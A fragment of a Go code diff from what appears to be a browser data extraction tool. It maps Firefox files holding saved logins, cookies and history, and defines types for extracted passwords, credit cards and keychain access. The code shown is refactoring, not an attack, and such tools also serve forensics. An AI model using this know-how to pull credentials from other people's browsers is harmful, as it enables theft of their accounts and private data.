isDir bool // true for directories (unused in Firefox, all sources are files) + candidates []sourcePath } // firefoxSources defines the Firefox file layout. // Firefox does not support SessionStorage or CreditCard extraction. var firefoxSources = map[types.Category]dataSource{ - types.Password: {paths: []string{"logins.json"}}, - types.Cookie: {paths: []string{"cookies.sqlite"}}, - types.History: {paths: []string{"places.sqlite"}}, - types.Download: {paths: []string{"places.sqlite"}}, // same file as History - types.Bookmark: {paths: []string{"places.sqlite"}}, // same file as History - types.Extension: {paths: []string{"extensions.json"}}, - types.LocalStorage: {paths: []string{"webappsstore.sqlite"}}, + types.Password: {candidates: []sourcePath{file("logins.json")}}, + types.Cookie: {candidates: []sourcePath{file("cookies.sqlite")}}, + types.History: {candidates: []sourcePath{file("places.sqlite")}}, + types.Download: {candidates: []sourcePath{file("places.sqlite")}}, + types.Bookmark: {candidates: []sourcePath{file("places.sqlite")}}, + types.Extension: {candidates: []sourcePath{file("extensions.json")}}, + types.LocalStorage: {candidates: []sourcePath{file("webappsstore.sqlite")}}, } diff --git a/types/category.go b/types/category.go index 6cedf34..7edabdd 100644 --- a/types/category.go +++ b/types/category.go @@ -69,3 +69,36 @@ func NonSensitiveCategories() []Category { } return cats } + +// BrowserKind identifies the browser engine type. +type BrowserKind int + +const ( + KindChromium BrowserKind = iota + KindChromiumYandex // Chromium variant with different file names and extract logic + KindChromiumOpera // Opera: extensions in "opsettings" key, data in Roaming + KindFirefox +) + +// BrowserConfig holds the declarative configuration for a browser installation. +type BrowserConfig struct { + Key string // lookup key: "chrome", "edge", "firefox" + Name string // display name: "Chrome", "Edge", "Firefox" + Kind BrowserKind // engine type + Storage string // keychain/GNOME label (macOS/Linux); unused on Windows + KeychainPassword string // macOS login password for KeychainPasswordRetriever; ignored on Windows/Linux + UserDataDir string // base browser directory +} + +// BrowserData holds all extracted browser data with typed slices. +type BrowserData struct { + Passwords []LoginEntry + Cookies []CookieEntry + Histories []HistoryEntry + Downloads []DownloadEntry + Bookmarks []BookmarkEntry + CreditCards []CreditCardEntry + Extensions []ExtensionEntry + LocalStorage []StorageEntry + SessionStorage []StorageEntry +}